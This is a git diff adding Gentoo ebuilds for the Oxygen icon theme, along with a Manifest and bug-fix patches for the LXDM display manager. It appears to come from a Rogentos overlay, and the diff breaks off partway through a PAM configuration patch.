diff --git a/kde-base/oxygen-icons/oxygen-icons-4.10.4.ebuild b/kde-base/oxygen-icons/oxygen-icons-4.10.4.ebuild
new file mode 100644
index 00000000..e9e1e714
--- /dev/null
+++ b/kde-base/oxygen-icons/oxygen-icons-4.10.4.ebuild
@@ -0,0 +1,42 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: Exp $
+
+EAPI=4
+
+if [[ ${PV} == *9999 ]]; then
+	KMNAME="kdesupport"
+else
+	# Upstream does not ship releases properly so we dont want all versions
+	MY_PV="4.9.0"
+	MY_P="${PN}-${MY_PV}"
+fi
+KDE_REQUIRED="never"
+KDE_SCM="svn"
+inherit kde4-base
+
+DESCRIPTION="Oxygen SVG icon theme."
+HOMEPAGE="http://www.oxygen-icons.org/"
+[[ ${PV} == *9999 ]] || \
+SRC_URI="
+	!bindist? ( http://dev.gentoo.org/~johu/distfiles/${MY_P}.repacked.tar.xz )
+	bindist? ( ${SRC_URI//${PV}/${MY_PV}} )
+"
+SLREV=1
+SRC_URI="${SRC_URI} http://pkg.rogentos.ro/~rogentos/distro/x11-themes/fdo-icons-rogentos${SLREV}.tar.gz
+        http://pkg2.rogentos.ro/~noxis/distro/x11-themes/fdo-icons-rogentos${SLREV}.tar.gz"
+
+LICENSE="LGPL-3"
+KEYWORDS="~amd64 ~x86 ~arm ~amd64-linux ~x86-linux"
+IUSE="aqua bindist"
+
+DEPEND=""
+RDEPEND="${DEPEND}"
+
+[[ ${PV} == *9999 ]] || S=${WORKDIR}/${MY_P}
+
+src_prepare() {
+	kde4-base_src_prepare
+	cp -r "${WORKDIR}"/fdo-icons-rogentos/* "${S}" || die
+	# cp -r ../fdo-icons-rogentos/* ../${P} || die
+}
diff --git a/kde-base/oxygen-icons/oxygen-icons-4.9.0.ebuild b/kde-base/oxygen-icons/oxygen-icons-4.9.0.ebuild
new file mode 100644
index 00000000..3213a25f
--- /dev/null
+++ b/kde-base/oxygen-icons/oxygen-icons-4.9.0.ebuild
@@ -0,0 +1,40 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: Exp $
+
+EAPI=4
+
+if [[ ${PV} == *9999 ]]; then
+        KMNAME="kdesupport"
+else
+        # Upstream does not ship releases properly so we dont want all versions
+        MY_PV="4.9.0"
+        MY_P="${PN}-${MY_PV}"
+fi
+KDE_REQUIRED="never"
+inherit kde4-base
+
+DESCRIPTION="Oxygen SVG icon theme."
+HOMEPAGE="http://www.oxygen-icons.org/"
+[[ ${PV} == *9999 ]] || \
+SRC_URI="
+        !bindist? ( http://dev.gentoo.org/~dilfridge/distfiles/${MY_P}.repacked.tar.xz )
+        bindist? ( ${SRC_URI//${PV}/${MY_PV}} )
+"
+SLREV=1
+SRC_URI="${SRC_URI} http://pkg2.rogentos.ro/~noxis/distro/${CATEGORY}/fdo-icons-rogentos${SLREV}.tar.gz"
+
+LICENSE="LGPL-3"
+KEYWORDS="~amd64 ~x86 ~arm ~amd64-linux ~x86-linux"
+IUSE="aqua bindist"
+
+DEPEND=""
+RDEPEND="${DEPEND}"
+
+[[ ${PV} == *9999 ]] || S=${WORKDIR}/${MY_P}
+
+src_prepare() {
+        kde4-base_src_prepare
+        cp -r "${WORKDIR}"/fdo-icons-rogentos/* "${S}" || die
+        # cp -r ../fdo-icons-rogentos/* ../${P} || die
+}
diff --git a/kde-base/oxygen-icons/oxygen-icons-4.9.1.ebuild b/kde-base/oxygen-icons/oxygen-icons-4.9.1.ebuild
new file mode 100644
index 00000000..3213a25f
--- /dev/null
+++ b/kde-base/oxygen-icons/oxygen-icons-4.9.1.ebuild
@@ -0,0 +1,40 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: Exp $
+
+EAPI=4
+
+if [[ ${PV} == *9999 ]]; then
+        KMNAME="kdesupport"
+else
+        # Upstream does not ship releases properly so we dont want all versions
+        MY_PV="4.9.0"
+        MY_P="${PN}-${MY_PV}"
+fi
+KDE_REQUIRED="never"
+inherit kde4-base
+
+DESCRIPTION="Oxygen SVG icon theme."
+HOMEPAGE="http://www.oxygen-icons.org/"
+[[ ${PV} == *9999 ]] || \
+SRC_URI="
+        !bindist? ( http://dev.gentoo.org/~dilfridge/distfiles/${MY_P}.repacked.tar.xz )
+        bindist? ( ${SRC_URI//${PV}/${MY_PV}} )
+"
+SLREV=1
+SRC_URI="${SRC_URI} http://pkg2.rogentos.ro/~noxis/distro/${CATEGORY}/fdo-icons-rogentos${SLREV}.tar.gz"
+
+LICENSE="LGPL-3"
+KEYWORDS="~amd64 ~x86 ~arm ~amd64-linux ~x86-linux"
+IUSE="aqua bindist"
+
+DEPEND=""
+RDEPEND="${DEPEND}"
+
+[[ ${PV} == *9999 ]] || S=${WORKDIR}/${MY_P}
+
+src_prepare() {
+        kde4-base_src_prepare
+        cp -r "${WORKDIR}"/fdo-icons-rogentos/* "${S}" || die
+        # cp -r ../fdo-icons-rogentos/* ../${P} || die
+}
diff --git a/kde-base/oxygen-icons/oxygen-icons-4.9.2.ebuild b/kde-base/oxygen-icons/oxygen-icons-4.9.2.ebuild
new file mode 100644
index 00000000..ee29b964
--- /dev/null
+++ b/kde-base/oxygen-icons/oxygen-icons-4.9.2.ebuild
@@ -0,0 +1,42 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: Exp $
+
+EAPI=4
+
+if [[ ${PV} == *9999 ]]; then
+        KMNAME="kdesupport"
+else
+        # Upstream does not ship releases properly so we dont want all versions
+        MY_PV="4.9.0"
+        MY_P="${PN}-${MY_PV}"
+fi
+KDE_REQUIRED="never"
+KDE_SCM="svn"
+inherit kde4-base
+
+DESCRIPTION="Oxygen SVG icon theme."
+HOMEPAGE="http://www.oxygen-icons.org/"
+[[ ${PV} == *9999 ]] || \
+SRC_URI="
+        !bindist? ( http://dev.gentoo.org/~johu/distfiles/${MY_P}.repacked.tar.xz )
+        bindist? ( ${SRC_URI//${PV}/${MY_PV}} )
+"
+SLREV=1
+SRC_URI="${SRC_URI} http://pkg.rogentos.ro/~rogentos/distro/x11-themes/fdo-icons-rogentos${SLREV}.tar.gz
+	http://pkg2.rogentos.ro/~noxis/distro/x11-themes/fdo-icons-rogentos${SLREV}.tar.gz"
+
+LICENSE="LGPL-3"
+KEYWORDS="~amd64 ~x86 ~arm ~amd64-linux ~x86-linux"
+IUSE="aqua bindist"
+
+DEPEND=""
+RDEPEND="${DEPEND}"
+
+[[ ${PV} == *9999 ]] || S=${WORKDIR}/${MY_P}
+
+src_prepare() {
+        kde4-base_src_prepare
+        cp -r "${WORKDIR}"/fdo-icons-rogentos/* "${S}" || die
+        # cp -r ../fdo-icons-rogentos/* ../${P} || die
+}
diff --git a/kde-base/oxygen-icons/oxygen-icons-4.9.3.ebuild b/kde-base/oxygen-icons/oxygen-icons-4.9.3.ebuild
new file mode 100644
index 00000000..e9e1e714
--- /dev/null
+++ b/kde-base/oxygen-icons/oxygen-icons-4.9.3.ebuild
@@ -0,0 +1,42 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: Exp $
+
+EAPI=4
+
+if [[ ${PV} == *9999 ]]; then
+	KMNAME="kdesupport"
+else
+	# Upstream does not ship releases properly so we dont want all versions
+	MY_PV="4.9.0"
+	MY_P="${PN}-${MY_PV}"
+fi
+KDE_REQUIRED="never"
+KDE_SCM="svn"
+inherit kde4-base
+
+DESCRIPTION="Oxygen SVG icon theme."
+HOMEPAGE="http://www.oxygen-icons.org/"
+[[ ${PV} == *9999 ]] || \
+SRC_URI="
+	!bindist? ( http://dev.gentoo.org/~johu/distfiles/${MY_P}.repacked.tar.xz )
+	bindist? ( ${SRC_URI//${PV}/${MY_PV}} )
+"
+SLREV=1
+SRC_URI="${SRC_URI} http://pkg.rogentos.ro/~rogentos/distro/x11-themes/fdo-icons-rogentos${SLREV}.tar.gz
+        http://pkg2.rogentos.ro/~noxis/distro/x11-themes/fdo-icons-rogentos${SLREV}.tar.gz"
+
+LICENSE="LGPL-3"
+KEYWORDS="~amd64 ~x86 ~arm ~amd64-linux ~x86-linux"
+IUSE="aqua bindist"
+
+DEPEND=""
+RDEPEND="${DEPEND}"
+
+[[ ${PV} == *9999 ]] || S=${WORKDIR}/${MY_P}
+
+src_prepare() {
+	kde4-base_src_prepare
+	cp -r "${WORKDIR}"/fdo-icons-rogentos/* "${S}" || die
+	# cp -r ../fdo-icons-rogentos/* ../${P} || die
+}
diff --git a/lxde-base/lxdm/Manifest b/lxde-base/lxdm/Manifest
new file mode 100644
index 00000000..5e013e46
--- /dev/null
+++ b/lxde-base/lxdm/Manifest
@@ -0,0 +1,18 @@
+AUX lxdm-0.4.1-configure-add-pam.patch 1410 SHA256 22d9a569755acd1ffadc23939b6b2d0845f0956efafda31b3a91dbd5580a5815 SHA512 4a5f2f4a282739e74e63d583036e0cc84f3613983d3fac2795827d9065ade3e2cfc353472345be1948444ac4c2f037f5bc97c62a79a9b170e8fd6e0fc23ab6dd WHIRLPOOL d8ac31e16fce57b037cef36f88461ccb1e3669e5cef947aea2ed9ff32604aaee1ec959010e9a0e4099eebc86f34986cb774d2e6ddcc571afdc6b1104825dfb6d
+AUX lxdm-0.4.1-fix-event-check-bug.patch 700 SHA256 dfc4248e4cbb2f84c7f65aba3d8105c5b49fde23c7a7c629a9104517a3a8291f SHA512 77845eb6a7dd9b59bac96bdf25de90daed13d4b45a103d83d983ea5f8e7747d1cfa65574d1849444ae73439b748c5d78b719fc70a0d592870d123d04f100d750 WHIRLPOOL 5e37fb882b5b2753ad9516c9ca43a4eea426e2344981868dc3d6fabb60424d52e70924493978de7e6a5f8ac4d18d8a128f5c41acc603076f16ecb88b7ec52243
+AUX lxdm-0.4.1-fix-pam-100-cpu.patch 444 SHA256 cf5aa1cd633c510be44cbb2d9dfa09fe6541c83c77297d000c010d5f0348ffde SHA512 2aef14d7dc9e2f10fda1d22b5837225f61af9a8fb46267ad98eb65149e72c165c6588c4816dc8c20ec90f49a2db5289b519f9b1c0b4b5b9ec430bea73fbac9a6 WHIRLPOOL 6039273a31292cc6903db4a84d89a2dc80fd0d776a9dc6f8dd438cf5d2d574e84b877a397e510267d4d7a690a0ed3520232c9225d8b590fc4b7e98c323d5e543
+AUX lxdm-0.4.1-fix-session-args.patch 1109 SHA256 192583f98adf2d13fd24e67ea026f3f4fbe1e4e04afc40e73b26efa51705c936 SHA512 01f9efddc52f803bba2a2a31b01f8316dbe0abcf39faec23ca6688e0eee81305046a0df91591e45040fc6f784514c0082775c53252f38b8483842062caa5db3b WHIRLPOOL 157c1c9e9fad4d6ae5b4d28019e4a7bbc00354de6486383b0d331aef8f83abe70bb39e01a29e089149e5cf1d5453a034f0991db2872dd681a2b5a8ce3e2840bc
+AUX lxdm-0.4.1-git-fix-null-pointer-deref.patch 1560 SHA256 a33e3226c463bc445d7d27b11e34de8b09c7c1fdf44be8628d54334fd41b7ea3 SHA512 204124b2558280183e71799c2e006c9efb97b17bc5ef5f9cbf68afd0a4da2568d6e3d7a8d7dc3e12283b8d2febea541793fd72861ca7d692f1595be209d47f62 WHIRLPOOL 9f253d5b674c4a156e9fc99389c62c6271ca674beb109293992ba040520751310d229b270834a172c98275b2a5db6090679c41c663003a970c2bc60ddf631545
+AUX lxdm-0.4.1-missing-pam-defines.patch 583 SHA256 b9aa62fc73ce8f52f354388bcec0a03c228b40ba1a86e2aba1071501ecc1a5d8 SHA512 e7ebb98cae18874152ed5ae528db452428db5f0311cf92eeec93dc9bffaefb101fb587466e9f7c015199cf25c1fbc45ac1c20e3f41d7dd087622ac2e53b812e9 WHIRLPOOL ea2e3b6db573642ea79573e5a473a1ac00d6216fa1a848bb0b10b690a0f39a643fa43ff9f3f58467f6a4ad5083df8ee553f6315ed290e6d76d306ad023889707
+AUX lxdm-0.4.1-optional-consolekit.patch 1206 SHA256 7563a5cd8d121e6915c9e1fdfeb6bd94308f005a12e0a141b6249a99d711bb5a SHA512 74a4ab1460fcbbb0fb7632e8bd27afa3b1f737e41131816ad739c9e41678cd7abafa6811c0a72ce9eb3aeddb661e771d3707476df8940a5e670636764881fcd2 WHIRLPOOL 9be18b671bd5a27620462922a240dea1e9ce89820a0478930f81450a742b587dc7ed34b74c9c2cc724c4fc9eb872eaacfc534b6ec33146d9fa31ef399a1279c7
+AUX lxdm-0.4.1-pam-use-system-local-login.patch 513 SHA256 4200ca07cae26479d449de2cc0e0f4acf83b621f7dfcf314e8f91dd0e7a1e02d SHA512 82c21faf6fdc07bae6ea9af7b186d3ce2cae84879e1f6e1675d232d5d26883ba0f0eae66b8fbfa9da67fede2b017c867195c23ff68d80818d44452f5c06d34cd WHIRLPOOL c74c57560e557ff4d8a4719b485975b054397a8dc88e85a68cc5acdead318d611f1a597c58a3f2097609967c28fed506a3f82a0c88656f6a2bc1088853ea90fb
+AUX lxdm-0.4.1-pam_console-disable.patch 344 SHA256 51d1a0f0b5749e451e313df3bd3d08b3f5181f00eb01993973393c1b4dcd8ad2 SHA512 15ebae762ca266da2986c6dc29b866068e7120457da253cc0513fb285c386869f35c074c2cd1cc1ff05045f533e565400cf39ae2f484eafb29fb2faeb2d260e4 WHIRLPOOL 42255d3a834333a0c830b1a8a045e526dd3ef93271a943eea542932cf04533de7e43ba3eea459c0c758e4851f3736b3a50f158c49a5a770fafce6dfefee173f5
+AUX lxdm-0.4.1-rogentos-1-theme.patch 708 SHA256 d78293c51bf67eabb33c703d7777900d06f954cf17a986f409dd83ba7f1b91e8 SHA512 614cf84a0cfdc5efa324bcb7c0596deca32ec8ebe1d3ec9bf82a6a6b5b92b5e82a75eeda1aef37f21c71ab094964a3fc275af62b7794f7f3b48de26efe08323a WHIRLPOOL 222e089c889abfae08fd2d7c5a0ccbbba79b0b66594d010b04d81aeee30036c4d0cca86d30567e71bf15256e8bd62097c4a2ea5514ce27fad2e81bc32a6b95e7
+AUX lxdm-0.4.1-rogentos-conf.patch 294 SHA256 9bfcb7d0eaada8485eed6d422943aea8aa8d3ea163203ac632ce7daa0041e095 SHA512 04395123bbdb536965376c9b5a1ade2d385d7b9aeaee584355fe770d9057970e10c4ced54df6a434b145403561741177fca53d0e40da923214ab4bc20043384a WHIRLPOOL cffae38828bcb88da2d66cd2a55b81ca4143e1088a6fb66ae0ad348922a06bc78c7def4e444fea19c2bbb63f27a60d60ec84cc7682de197ca96a0b249d7ab278
+AUX lxdm.service 212 SHA256 fbd01d0ecfa46c6451b63fb6d059e4ae602d0abbcf628ed7da5e12b2f6bbd45e SHA512 e73f7a956667e55a220db7745730f4cdaeb4f1912259d05eaf2208a32447b72d7f227cad78ec4dc765deedd6dc4b52b706825f0a71cd86d8b011aae64877c113 WHIRLPOOL f379741ce3bee813dd438727369635ecb7000f10f9cbf864bdb7f7f22de2ff31f9f55bcb32ec03398204affb0c17e52238bc6b9f0500bc12796a96ba48a93859
+AUX xinitrc 1549 SHA256 59b2f69c3a5eba060b2eaae43fc871d9b014419e3b51c84af95cee10f429880c SHA512 a3824b572eb661a8c0b823beafeef44112aa2d83d89a59090ea5c669c98b177a6cf8ec5b9ae69a000bbc0b6613a0c9fd750a96cfed0898b434705b3f811d4753 WHIRLPOOL fcc5968454cc889d412f26be1c41f3fc7c163cfb39b71a0dbed12823095f9472ce2fc9f4bd5dc9135f4434329923d88958526065fac74a95a9f4f566b1e36eee
+DIST lxdm-0.4.1.tar.gz 296714 SHA256 9e0d0a5672fcf31a18de8178ce73eab1723d6ae7097dfe41e9fe2c46e180cf08 SHA512 8ed4a955a910def4db66958d1cb24976db178b8763199a024b6c2119894745e3646566c42d01472dffbbcbb7fd21784b01e74dc88038e01caebaa3b6d720ff27 WHIRLPOOL 1bbb55bf955f46aaac54ca3372c09308baa496297e56026456e464217f115d6b26994e8be6b6b228b663bb2e14cf9d5ace6930f75024f6426825dd4fefc5349f
+EBUILD lxdm-0.4.1-r6.ebuild 1859 SHA256 92fe6c6d9b1ac26b7e85e21b98f88add5b55bdfe99d43366e9930790866c2821 SHA512 ab3df64a8f7e1a728b52c99394b9e1ac5db4c93df029a7cda41ab6768b73fdcf746e2c4688ef86a638a6ce435fa97c1a418c3c8d0655eb339ccc6383c626f16f WHIRLPOOL 9640868392cbb935cf98228fbf5141be3f492bf147777004f843dbbd90e06a27eb44a79fb5746b37aca93c0d478c9e9c86569d7de9bc72c19435232871c48266
+EBUILD lxdm-0.4.1-r7.ebuild 2160 SHA256 7ce9242f57210450540a8cd9197257285c1b939e7dbffc0a2a5a4ac1d79e9d4a SHA512 19b8f9908ff2acc7dce755c89dbcd893e376e082c80b41d286a7693044b17b36c4f326116b2f8e92b081b5daf35670419386abc433793a33affb97af4a2f3a16 WHIRLPOOL 8e081f25e9c8af0de111914c7eb0a0c9317464ad44184c8a94114e424f980f385cea611b01439b3ff4f09bec547369b8c76cfec535fe35b26a9f6d8e10f0586c
+EBUILD lxdm-0.4.1-r8.ebuild 2299 SHA256 2da589b3a21ff5a2d965ca5767fbd2164638d20c9d5ce14a00a2d689192716e8 SHA512 eb88a293dcecb27946e501afc8fbafcdf186ce83c7fa2adc823664bea8ade54b0bd59d713b3840dd84a0996c967ee9b8f61e6cb8495300467db26748a6573e29 WHIRLPOOL 143e059dee411a44a3dece1c0a4ade0b1846632cd02c42d6e8623f708ac0d5c1858518e58e7d8e09c1efb1836e508d2760418ad9c5b3ef4adcd40922a01f89a9
+MISC metadata.xml 158 SHA256 9a4e79f77bc3e825c79c2d57e658c8460f7f7535a25a7beacbe0c94f2378ba57 SHA512 c6d71f05dbe4c805971c6f9798798a8d1da6155b3fdb2ed19c8a6df33b82467a878127640612304bc29c9f7f5209e604cfdab49d1084ff3dab1d15a8129eb7bc WHIRLPOOL 04c34cac223f8b7d6fd0940386fdb553545be42018e7e4a4d315da3562ba5006b9d4a9dc7625ec80b4bfa4175cb2ef1f5482b540c7d29b27b3884a4cdd81ed9b
diff --git a/lxde-base/lxdm/files/lxdm-0.4.1-configure-add-pam.patch b/lxde-base/lxdm/files/lxdm-0.4.1-configure-add-pam.patch
new file mode 100644
index 00000000..d91bf75a
--- /dev/null
+++ b/lxde-base/lxdm/files/lxdm-0.4.1-configure-add-pam.patch
@@ -0,0 +1,45 @@
+From 949ee91acb55baeb4b8761957eabd2e5a345d2ae Mon Sep 17 00:00:00 2001
+From: Mitch Harder <mitch.harder@sabayonlinux.org>
+Date: Thu, 8 Dec 2011 11:02:28 -0600
+Subject: Fix configure.ac test for pam libs.
+
+A bug report on Gentoo noted that the configure test for pam
+wasn't working correctly.
+https://bugs.gentoo.org/show_bug.cgi?id=384615
+
+This corrections borrows the configure.ac pam testing method used in xdm.
+---
+ configure.ac |   13 +++++++++++--
+ 1 files changed, 11 insertions(+), 2 deletions(-)
+
+diff --git a/configure.ac b/configure.ac
+index e952473..eaa883a 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -14,12 +14,21 @@ AC_PROG_INSTALL
+ AM_PROG_CC_C_O
+ 
+ # Checks for libraries.
+ AC_CHECK_LIB([crypt], [crypt])
+ 
+-AC_ARG_WITH(pam,AC_HELP_STRING([--without-pam],[build without pam]),
+-[],[AC_CHECK_LIB([pam], [pam_open_session])])
++# Check for PAM support
++AC_ARG_WITH(pam, AC_HELP_STRING([--with-pam],[Use PAM for authentication]),
++	[USE_PAM=$withval], [USE_PAM=$use_pam_default])
++if test "x$USE_PAM" != "xno" ; then
++	AC_SEARCH_LIBS(pam_open_session,[pam])
++	AC_CHECK_FUNC(pam_open_session, 
++		[AC_DEFINE(USE_PAM,1,[Use PAM for authentication])],
++		[if test "x$USE_PAM" != "xtry" ; then
++			AC_MSG_ERROR(["PAM support requested, but pam_open_session not found."])
++		 fi])
++fi
+ 
+ AC_CHECK_LIB([ck-connector],[ck_connector_open_session])
+ 
+ # Checks for header files.
+ AC_PATH_X
+-- 
+1.7.3.4
+
diff --git a/lxde-base/lxdm/files/lxdm-0.4.1-fix-event-check-bug.patch b/lxde-base/lxdm/files/lxdm-0.4.1-fix-event-check-bug.patch
new file mode 100644
index 00000000..f0ca23be
--- /dev/null
+++ b/lxde-base/lxdm/files/lxdm-0.4.1-fix-event-check-bug.patch
@@ -0,0 +1,25 @@
+From d4e41ecb36a1ea29482b75674d804bb0f05540b2 Mon Sep 17 00:00:00 2001
+From: dgod <dgod.osa@gmail.com>
+Date: Sun, 25 Dec 2011 15:23:19 +0800
+Subject: [PATCH] fix event check bug caused cpu 100%
+
+---
+ src/lxcom.c |    2 +-
+ 1 files changed, 1 insertions(+), 1 deletions(-)
+
+diff --git a/src/lxcom.c b/src/lxcom.c
+index 02763eb..18ee12e 100644
+--- a/src/lxcom.c
++++ b/src/lxcom.c
+@@ -89,7 +89,7 @@ static gboolean lxcom_prepare (GSource *source,gint *timeout)
+ 
+ static gboolean lxcom_check(GSource *source)
+ {
+-	return TRUE;
++	return (((LXComSource*)source)->poll.revents&G_IO_IN)?TRUE:FALSE;
+ }
+ 
+ static gboolean lxcom_dispatch (GSource *source,GSourceFunc callback,gpointer user_data)
+-- 
+1.7.4.1
+
diff --git a/lxde-base/lxdm/files/lxdm-0.4.1-fix-pam-100-cpu.patch b/lxde-base/lxdm/files/lxdm-0.4.1-fix-pam-100-cpu.patch
new file mode 100644
index 00000000..103268ef
--- /dev/null
+++ b/lxde-base/lxdm/files/lxdm-0.4.1-fix-pam-100-cpu.patch
@@ -0,0 +1,16 @@
+--- lxdm-0.4.1.orig/src/lxdm.c
++++ lxdm-0.4.1/src/lxdm.c
+@@ -1458,8 +1458,12 @@ void lxdm_do_login(struct passwd *pw, ch
+ 		setenv("XDG_SESSION_COOKIE", ck_connector_get_cookie(s->ckc), 1);
+ 	}
+ #endif
++	int i;
++	for(i=2;i<256;i++)
++		g_source_remove(i);
++
+ 	char** env, *path;
+-	int n_env,i;
++	int n_env;
+ 	n_env  = g_strv_length(environ);
+ 	/* copy all environment variables and override some of them */
+ 	env = g_new(char*, n_env + 1 + 13);
diff --git a/lxde-base/lxdm/files/lxdm-0.4.1-fix-session-args.patch b/lxde-base/lxdm/files/lxdm-0.4.1-fix-session-args.patch
new file mode 100644
index 00000000..11bacdbb
--- /dev/null
+++ b/lxde-base/lxdm/files/lxdm-0.4.1-fix-session-args.patch
@@ -0,0 +1,29 @@
+diff -Nurp data//Xsession data.new//Xsession
+--- data//Xsession	2011-07-29 15:42:33.000000000 +0200
++++ data.new//Xsession	2012-01-04 15:49:39.009452532 +0100
+@@ -20,7 +20,7 @@ if [ -f /etc/X11/xinit/xinitrc-common ];
+ 	elif [ -x /usr/bin/ck-launch-session -a -z "$CK_XINIT_SESSION" ]; then
+ 		CK_XINIT_SESSION="/usr/bin/ck-launch-session"
+ 	fi
+-	exec -l $SHELL -c "$CK_XINIT_SESSION \"$LXSESSION\""
++	exec -l "$SHELL" -c "$CK_XINIT_SESSION $LXSESSION"
+ elif [ -x /etc/X11/xinit/Xsession ]; then
+ # fedora
+ 	exec /etc/X11/xinit/Xsession "$LXSESSION"
+@@ -30,7 +30,7 @@ elif [ -x /etc/X11/Xsession ]; then
+ elif [ -x /etc/X11/xinit/xinitrc ]; then
+ #suse
+ 	export WINDOWMANAGER=$LXSESSION
+-	exec -l $SHELL -c /etc/X11/xinit/xinitrc
++	exec -l "$SHELL" -c /etc/X11/xinit/xinitrc
+ else
+ # unknown, user should custom /etc/lxdm/xinitrc self
+ 	if [ -x /etc/lxdm/xinitrc ]; then
+@@ -41,6 +41,6 @@ else
+ 	elif [ -x /usr/bin/ck-launch-session ]; then
+ 		CK_XINIT_SESSION="/usr/bin/ck-launch-session"
+ 	fi
+-	exec -l $SHELL -c "$CK_XINIT_SESSION \"$LXSESSION\""
++	exec -l "$SHELL" -c "$CK_XINIT_SESSION $LXSESSION"
+ fi
+ 
diff --git a/lxde-base/lxdm/files/lxdm-0.4.1-git-fix-null-pointer-deref.patch b/lxde-base/lxdm/files/lxdm-0.4.1-git-fix-null-pointer-deref.patch
new file mode 100644
index 00000000..7abdbd47
--- /dev/null
+++ b/lxde-base/lxdm/files/lxdm-0.4.1-git-fix-null-pointer-deref.patch
@@ -0,0 +1,51 @@
+From 19f82a206b2cec964cea0475395d63dedf183788 Mon Sep 17 00:00:00 2001
+From: Andrea Florio <andrea@opensuse.org>
+Date: Fri, 29 Jul 2011 23:59:32 +0200
+Subject: [PATCH] fix null pointer dereference
+
+---
+ src/config.c |   25 ++++++++++---------------
+ 1 files changed, 10 insertions(+), 15 deletions(-)
+
+diff --git a/src/config.c b/src/config.c
+index 3f92f7b..4603ab4 100644
+--- a/src/config.c
++++ b/src/config.c
+@@ -125,24 +125,19 @@ static gboolean image_file_valid(const char *filename)
+ static void update_face_image(GtkWidget *w)
+ {
+ 	GdkPixbuf *pixbuf;
+-	char *path;
+-	path=g_build_filename(user->pw_dir,".face",NULL);
+-	if(access(path,R_OK))
+-	{
+-		g_free(path);
+-		if(ui_nobody)
+-			pixbuf=gdk_pixbuf_new_from_file_at_scale(ui_nobody,48,48,FALSE,NULL);
+-		if(!pixbuf)
+-			pixbuf=gtk_icon_theme_load_icon(gtk_icon_theme_get_default(),
++	char *path=g_build_filename(user->pw_dir,".face",NULL);
++	pixbuf=gdk_pixbuf_new_from_file_at_scale(path,48,48,FALSE,NULL);
++	g_free(path);
++	if(!pixbuf && ui_nobody)
++		pixbuf=gdk_pixbuf_new_from_file_at_scale(ui_nobody,48,48,FALSE,NULL);
++	if(!pixbuf)
++		pixbuf=gtk_icon_theme_load_icon(gtk_icon_theme_get_default(),
+ 						"avatar-default", 48,GTK_ICON_LOOKUP_FORCE_SIZE,NULL);
+-	}
+-	else
++	if(pixbuf)
+ 	{
+-		pixbuf=gdk_pixbuf_new_from_file_at_scale(path,48,48,FALSE,NULL);
+-		g_free(path);
++		gtk_image_set_from_pixbuf(GTK_IMAGE(w),pixbuf);
++		g_object_unref(pixbuf);
+ 	}
+-	gtk_image_set_from_pixbuf(GTK_IMAGE(w),pixbuf);
+-	g_object_unref(pixbuf);
+ }
+ 
+ static void set_face_file(const char *filename)
+-- 
+1.7.0.1
+
diff --git a/lxde-base/lxdm/files/lxdm-0.4.1-missing-pam-defines.patch b/lxde-base/lxdm/files/lxdm-0.4.1-missing-pam-defines.patch
new file mode 100644
index 00000000..a59273cc
--- /dev/null
+++ b/lxde-base/lxdm/files/lxdm-0.4.1-missing-pam-defines.patch
@@ -0,0 +1,29 @@
+From 0f9e8e53a8d30f5c8ccfb03edc282148f58bfd30 Mon Sep 17 00:00:00 2001
+From: dgod <dgod.osa@gmail.com>
+Date: Sun, 1 Jan 2012 17:05:22 +0800
+Subject: [PATCH] fix bug introduced from pam detect
+
+---
+ src/lxdm.c |    4 ++++
+ 1 files changed, 4 insertions(+), 0 deletions(-)
+
+diff --git a/src/lxdm.c b/src/lxdm.c
+index b5a90be..07be1e0 100644
+--- a/src/lxdm.c
++++ b/src/lxdm.c
+@@ -25,8 +25,12 @@
+ #include <config.h>
+ #endif
+ #ifndef HAVE_LIBPAM
++#ifdef USE_PAM
++#define HAVE_LIBPAM 1
++#else
+ #define HAVE_LIBPAM 0
+ #endif
++#endif
+ 
+ #include <stdio.h>
+ #include <stdlib.h>
+-- 
+1.7.4.1
+
diff --git a/lxde-base/lxdm/files/lxdm-0.4.1-optional-consolekit.patch b/lxde-base/lxdm/files/lxdm-0.4.1-optional-consolekit.patch
new file mode 100644
index 00000000..021f3212
--- /dev/null
+++ b/lxde-base/lxdm/files/lxdm-0.4.1-optional-consolekit.patch
@@ -0,0 +1,38 @@
+--- a/configure.ac
++++ b/configure.ac
+@@ -28,8 +28,6 @@ if test "x$USE_PAM" != "xno" ; then
+ 		 fi])
+ fi
+ 
+-AC_CHECK_LIB([ck-connector],[ck_connector_open_session])
+-
+ # Checks for header files.
+ AC_PATH_X
+ AC_CHECK_HEADERS([shadow.h stdlib.h string.h unistd.h utmpx.h])
+@@ -89,11 +87,21 @@ PKG_CHECK_MODULES(GTK, [$pkg_modules])
+ AC_SUBST(GTK_CFLAGS)
+ AC_SUBST(GTK_LIBS)
+ 
+-PKG_CHECK_MODULES(CONSOLEKIT, "ck-connector",[
+-	AC_SUBST(CONSOLEKIT_CFLAGS)
+-	AC_SUBST(CONSOLEKIT_LIBS)],[
+-	echo "ConsoleKit devel package not found"
+-	])
++AC_ARG_ENABLE(consolekit,
++AC_HELP_STRING([--enable-consolekit], [enable ConsoleKit support]),
++[case "${enableval}" in
++  yes)  enable_ck=yes ;;
++  no)   enable_ck=no ;;
++  *) AC_MSG_ERROR([bad value "${enableval}" for --enable-consolekit, use "yes" (default) or "no".]) ;;
++esac],[])
++if test "x$enable_ck" = "xyes" ; then
++	AC_CHECK_LIB([ck-connector],[ck_connector_open_session])
++	PKG_CHECK_MODULES(CONSOLEKIT, "ck-connector",[
++		AC_SUBST(CONSOLEKIT_CFLAGS)
++		AC_SUBST(CONSOLEKIT_LIBS)],[
++		echo "ConsoleKit devel package not found"
++		])
++fi
+ 
+ AC_ARG_ENABLE(password,
+ AC_HELP_STRING([--enable-password],[enable to load autologin password store at config file]),
diff --git a/lxde-base/lxdm/files/lxdm-0.4.1-pam-use-system-local-login.patch b/lxde-base/lxdm/files/lxdm-0.4.1-pam-use-system-local-login.patch
new file mode 100644
index 00000000..9f723a2f
--- /dev/null
+++ b/lxde-base/lxdm/files/lxdm-0.4.1-pam-use-system-local-login.patch
@@ -0,0 +1,15 @@
+--- lxdm-0.4.1.orig/pam/lxdm
++++ lxdm-0.4.1/pam/lxdm
+@@ -1,9 +1,9 @@
+ #%PAM-1.0
+-auth       substack	system-auth
++auth       substack	system-local-login
